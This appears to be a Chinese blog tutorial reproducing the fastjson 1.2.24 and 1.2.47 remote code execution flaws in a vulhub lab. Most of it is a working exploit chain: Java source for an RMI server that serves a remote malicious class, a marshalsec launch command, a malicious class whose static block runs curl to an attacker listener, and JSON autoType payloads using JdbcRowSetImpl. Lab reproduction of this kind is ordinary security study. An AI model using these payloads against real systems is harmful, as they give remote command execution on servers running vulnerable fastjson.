0x00前言
fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本。
0x01环境准备
使用vulhub上的环境,在github上的vulhub下载下来,进入fastjson漏洞环境目录,执行以下命令。
然后访问http://ip:8090看见json返回数据,说明环境启动成功。
还需要开启一个rmi server,用来加载远程恶意类。rmi代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://ip:port/";//恶意类远程地址
Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名,第二个为factory。
//reference的factory class参数指向了一个外部Web服务的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
System.out.println("Listener on 9999");
}
public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
start();
}
}
也可以用marshalsec项目开启rmi服务。将其下载后,用maven编译即可使用。
开启命令,在9999端口监听。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#Test" 9999
看见如下说明开始监听
image.png
恶意类如下,将其编译后放到Web服务下,确定能访问http://ip:port/Test.class。
import java.lang.Runtime;
import java.lang.Process;
public class Test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"curl", "http://ip:2334/"};//这里写需要执行的命令
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
0x02攻击
poc如下
//1.2.24以下版本
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
//1.2.47以下版本
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
请求搭好的环境,将get改为post,并且将修改Content-Type: application/json
image.png
发送请求,可以看到rmi服务收到了响应,加载远程恶意累Test.class。
image.png
然后可以看到监听的2334端口接收到了请求,说明服务器成功执行curl ip:port命令。
image.png
网友评论